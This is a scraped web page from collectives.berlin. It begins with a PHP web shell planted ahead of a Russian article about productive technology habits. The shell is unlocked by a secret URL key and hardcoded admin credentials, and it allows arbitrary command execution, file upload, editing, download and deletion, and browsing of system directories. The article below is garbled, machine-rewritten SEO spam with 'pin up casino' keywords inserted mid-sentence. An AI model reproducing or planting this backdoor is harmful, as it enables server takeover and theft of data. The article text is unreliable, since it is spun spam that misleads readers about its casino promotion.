if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[πŸ“‚ Home] '; echo '[πŸ–₯️ Terminal] '; echo '[πŸ’Ύ Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[πŸšͺ Logout]'; echo '
'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '
'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

βœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

πŸ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo 'πŸ“ '.$item."/\n";
                    else echo 'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'πŸ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

πŸ’Ύ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." βœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." βœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

πŸ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'βœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

πŸ–₯️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'βœ… Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'βœ… Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'βœ… Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'βœ… Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

πŸ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
πŸ“ '.$item.'πŸ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Π›ΡƒΡ‡ΡˆΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡ΠΊΠΈ для Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ ΠΆΠΈΠ·Π½ΠΈ – collectives.berlin

Your digital paradise.

collectives.berlin

Π›ΡƒΡ‡ΡˆΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡ΠΊΠΈ для Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ ΠΆΠΈΠ·Π½ΠΈ

Π›ΡƒΡ‡ΡˆΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡ΠΊΠΈ для Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ ΠΆΠΈΠ·Π½ΠΈ

Π—Π°Ρ‡Π΅ΠΌ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ Π² состоянии ΡΡ‚Π°Ρ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ продуктивности

Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ всСлСнная слоТно Π²ΠΎΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Π±Π΅Π· ΠΈΠ½Π½ΠΎΠ²Π°Ρ†ΠΈΠΉ: смартфоны, ΠΏΠΎΡ€Ρ‚Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹, ΠΎΠ½Π»Π°ΠΉΠ½-сСрвисы ΠΈ Π°ΠΏΠΏΡ‹ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Π·Π° нас Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚Π΅. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ совсСм Π½Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ инструмСнты Π΄Π΅Π»Π°ΡŽΡ‚ нас эффСктивнСС. Π—Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ ΠΌΡ‹ находимся Π² Π·Π°ΠΏΠ°Π΄Π½Π΅ постоянных ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ, бСссмыслСнного скроллинга Ρ„ΠΈΠ΄Π° ΠΈΠ»ΠΈ прокрастинации Π·Π° просмотром Π²ΠΈΠ΄Π΅ΠΎ. Однако, Ссли ΠΎΡ‚Π½Π΅ΡΡ‚ΠΈΡΡŒ ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΡŽ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ ΡΠΎΠ·Π½Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΎΠ½ΠΈ способны ΡΡ‚Π°Ρ‚ΡŒ Π²Π»ΠΈΡΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠ°Ρ€Ρ‚Π½Π΅Ρ€ΠΎΠΌ Π² ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ Ρ‚Π°ΠΉΠΌ-ΠΌΠ΅Π½Π΅Π΄ΠΆΠΌΠ΅Π½Ρ‚Π°, Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΈ.

Π‘Π΅ΠΊΡ€Π΅Ρ‚ ΠΊ Π΄ΠΎΡΡ‚ΠΈΠΆΠ΅Π½ΠΈΡŽ – ΡΡ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эффСктивныС Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π΅ Π½Π°Π²Ρ‹ΠΊΠΈ. Π­Ρ‚ΠΎ Π½Π΅ просто Π΄Π΅Π»ΠΎ ΠΏΠΎΠ΄Π±ΠΎΡ€Π° дСвайсов ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ ΠΏΠΈΠ½ Π°ΠΏ ΠΊΠ°Π·ΠΈΠ½ΠΎ, Π½ΠΎ ΠΈ ΡƒΠΌΠ΅Π½ΠΈΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΈΡ… ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π² ΠΎΠ±Ρ‹Π΄Π΅Π½Π½ΡƒΡŽ Тизнь. Π’ прСдставлСнной Ρ€Π°Π±ΠΎΡ‚Π΅ я повСдаю ΠΎ ΠΎΡ‡Π΅Π½ΡŒ дСйствСнных Π½Π°Π²Ρ‹ΠΊΠ°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΏΠΎΡΠΎΠ±ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ стрСсс.

Π¦ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ аскСтизм: мСньшСС количСство – Π·Π½Π°Ρ‡ΠΈΡ‚ Π»ΡƒΡ‡ΡˆΠ΅Π΅

Π’ послСдниС Π³ΠΎΠ΄Ρ‹ всС ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‰ΡƒΡŽΡΡ ΠΈΠ·Π²Π΅ΡΡ‚Π½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈΠΎΠ±Ρ€Π΅Ρ‚Π°Π΅Ρ‚ идСя Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠ³ΠΎ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΠΈΠ·ΠΌΠ°. Π•Π΅ ΡΡƒΡ‚ΡŒ – осознанноС рСдукция количСства ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… ΠΎΠ½Π»Π°ΠΉΠ½ инструмСнтов Π΄ΠΎ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹Ρ…. МногиС ΡŽΠ½Ρ‹Π΅ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‡Π°ΡŽΡ‚: Ρ‡Π΅ΠΌ ΠΎΠ±ΡˆΠΈΡ€Π½Π΅Π΅ Π°ΠΏΠΏΠΎΠ² ΠΈ сСрвисов pin up Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ Π½Π° Π³Π°Π΄ΠΆΠ΅Ρ‚Π΅, Ρ‚Π΅ΠΌ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅Π΅ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ бСспокойства ΠΈ тяТСлСС ΡΠΊΠΎΠ½Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ.

Каким способом Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ Π΄ΠΈΠ΄ΠΆΠΈΡ‚Π°Π» ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΠΈΠ·ΠΌ

  • ΠžΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ.
    ΠžΡ†Π΅Π½ΠΈΡ‚Π΅ Π½Π° свой Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½ ΠΈ ПК Ρ‚Ρ€Π΅Π·Π²ΠΎ: сколько ΠΈΠ· инсталлированных ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Π²Ρ‹ задСйствуСтС хотя Π±Ρ‹ Ρ€Π°Π· Π² нСдСлю? Π£Π΄Π°Π»ΠΈΡ‚Π΅ всякоС Π½Π΅Π½ΡƒΠΆΠ½ΠΎΠ΅.
  • Π”Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠΉΡ‚Π΅ Π½Π΅Π½ΡƒΠΆΠ½Ρ‹Π΅ оповСщСния.
    ΠŸΡ€Π΅ΠΈΠΌΡƒΡ‰Π΅ΡΡ‚Π²Π΅Π½Π½ΠΎ ΠΈΠ·Π²Π΅Ρ‰Π΅Π½ΠΈΠΉ Π½Π΅ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π°. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Π°ΠΆΠ½Ρ‹ – ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, послания ΠΎΡ‚ Ρ€ΠΎΠ΄Π½Ρ‹Ρ… ΠΈΠ»ΠΈ увСдомлСния ΠΎ ΠΌΠΈΡ‚ΠΈΠ½Π³Π°Ρ….
  • ΠŸΡ€ΠΈΠΌΠ΅Π½ΡΠΉΡ‚Π΅ спСциализированныС софт.
    Π‘ΠΎΡ„Ρ‚ с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ возмоТностСй ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΡƒΠΊΠ»ΠΎΠ½ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ отвлСчСния. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, для Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ простой Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ Π±Π΅Π· ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Π΄ΠΈΠ° ΠΈ объявлСний.

Π¦ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΠΈΠ·ΠΌ Π½Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‚ΠΎΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚Ρ€Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚ ΠΈΠ½Π½ΠΎΠ²Π°Ρ†ΠΈΠΉ – Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚, это ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ инструмСнты ΠΏΠΈΠ½ Π°ΠΏ своими союзниками, Π° Π½Π΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ бСспокойства.

ΠžΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ½Π»Π°ΠΉΠ½ инструмСнтов

Одна ΠΈΠ· основных вопросов соврСмСнного ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄Π° – хаос Π² Π΄Π΅Π»Π°Ρ… ΠΈ Ρ‚Ρ€Π°Ρ‚Π° ΠΌΠΈΠ½ΡƒΡ‚ Π½Π° ΠΌΠ΅Π»ΠΎΡ‡ΠΈ. Π—Π΄Π΅ΡΡŒ Π½Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒ Π²ΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для планирования Π΄Π΅Π» (task managers), расписания ΠΈ напоминания.

Π’Ρ‹Π±ΠΎΡ€ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ инструмСнта

Π’ Π Π€ распространСны Ρ‚Π°ΠΊΠΈΠ΅ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹, ΠΊΠ°ΠΊ Notion, Todoist, ΠΏΠΈΠ½ Π°ΠΏ ΠΊΠ°Π·ΠΈΠ½ΠΎ, Google Calendar ΠΈ ЯндСкс.ΠšΠ°Π»Π΅Π½Π΄Π°Ρ€ΡŒ. Π›ΡŽΠ±ΠΎΠΉ ΠΈΠ· этих Π½ΠΈΡ… ΠΎΠ±Π»Π°Π΄Π°Π΅Ρ‚ свои достоинства:

  • Notion – Π³ΠΈΠ±ΠΊΠΈΠΉ инструмСнт для создания Π½ΠΎΡ‚Π°Ρ‚ΠΎΠΊ, to-do списков ΠΈ Π΄Π°ΠΆΠ΅ собствСнной Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ….
  • Todoist – ΡƒΠ΄ΠΎΠ±Π½ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ для управлСния Π΄Π΅Π»Π°ΠΌΠΈ с Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΈΠ½ΠΈΡ†ΠΈΠ°Ρ‚ΠΈΠ² ΠΈ ярлыков.
  • Google ΠšΠ°Π»Π΅Π½Π΄Π°Ρ€Π΅ΠΌ – ΡƒΠ΄ΠΎΠ±Π΅Π½ для ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ†ΠΈΠΈ встрСч ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ устройствами.
  • ЯндСкс.ΠšΠ°Π»Π΅Π½Π΄Π°Ρ€ΡŒ – взаимодСйствиС с ΠΏΡ€ΠΎΡ‡ΠΈΠΌΠΈ услугами Yandex ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π Π€ Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Ρ….

ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ – Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ нСсколько ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΡ… рСгулярно.

Каким способом ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅

Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ ΠΎΠ±Ρ‹Ρ‡Π°ΠΉ: запуститС сутки с ΠΎΠ±Π·ΠΎΡ€Π° пСрСчня Π·Π°Π΄Π°Ρ‡ ΠΏΠΈΠ½ Π°ΠΏ ΠΈ расстановки очСрСдности. Π­Ρ‚ΠΎ содСйствуСт ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ чувства пСрСнасыщСнности.

Π Π°Π·Π±ΠΈΠ²Π°ΠΉΡ‚Π΅ ΠΎΠ±ΡˆΠΈΡ€Π½Ρ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ Π½Π° ΠΏΠΎΠ΄Ρ†Π΅Π»ΠΈ: Ссли ΠΈΠ½ΠΈΡ†ΠΈΠ°Ρ‚ΠΈΠ²Π° прСдставляСтся слишком ΠΌΠ°ΡΡˆΡ‚Π°Π±Π½Ρ‹ΠΌ, Ρ€Π°Π·Π±Π΅ΠΉΡ‚Π΅ Π΅Π³ΠΎ Π½Π° ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠ΅ стадии. НапримСр, Π² случаС, Ссли Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΎΡ‚Ρ‡Π΅Ρ‚ ΠΏΠΎ Ρ…Ρ€ΠΎΠ½ΠΎΠ»ΠΎΠ³ΠΈΠΈ России XIX Π²Π΅ΠΊΠ°, задСйствуйтС ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ pin up для ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ сначала накоплСния ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ², Π·Π°Ρ‚Π΅ΠΌ написания ΠΏΠ»Π°Π½Π°, Π΄Π°Π»Π΅Π΅ создания Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΈΠΊΠ° ΠΈ Ρ‚.Π΄.

ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½ΠΎ пСрСсматривайтС свои намСрСния: удСляйтС ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» СТСнСдСльно для ΠΎΡ†Π΅Π½ΠΊΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹Ρ… Π΄Π΅Π» ΠΈ измСнСния ΠΏΠ»Π°Π½ΠΎΠ².

Π”Π°Π½Π½Ρ‹Π΅ нСслоТныС шаги, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ использованиС ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΠΈΠ½ Π°ΠΏ, ΡΠΏΠΎΡΠΎΠ±ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΡŽ Π΄Π°ΠΆΠ΅ Π² условиях высокой Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΡƒΡ‡Π΅Π±ΠΎΠΉ ΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ.

АвтоматизированиС повсСднСвных дСйствий

Π’Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π΄Π°ΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ΅ количСство ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΡ…ΡΡ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ: начиная с классификации сообщСний с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСнтов pin up Π΄ΠΎ бэкапа Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ². Π”Π°Π½Π½ΠΎΠ΅ освобоТдаСт часы для Π΅Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ сущСствСнных занятий.

Π Π΅Π°Π»ΡŒΠ½Ρ‹Π΅ сцСнарии Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ

  1. БистСмы Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ Π² элСктронной ΠΏΠΎΡ‡Ρ‚Π΅
    ΠŸΠΎΡ‡Ρ‚ΠΎΠ²Ρ‹Π΅ услуги (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Gmail ΠΈΠ»ΠΈ ЯндСкс.ΠŸΠΎΡ‡Ρ‚Π°) ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»Π°: сообщСния ΠΎΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»Π΅ΠΉ автоматичСски ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ°ΠΏΠΊΠΈ ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠ΅Ρ‡Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ Π²Π°ΠΆΠ½Ρ‹Π΅.
  2. Π‘ΠΊΡ€ΠΈΠΏΡ‚Ρ‹ для Π°Ρ€Ρ…ΠΈΠ²Π½ΠΎΠ³ΠΎ сохранСния
    Π‘ использованиСм ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ (Google Drive, ЯндСкс.Диск) Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΡΠ°ΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ согласованиС Π±ΡƒΠΌΠ°Π³ срСди Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π°ΠΌΠΈ.
  3. Роботизация повсСднСвных Π·Π°Π΄Π°Ρ‡
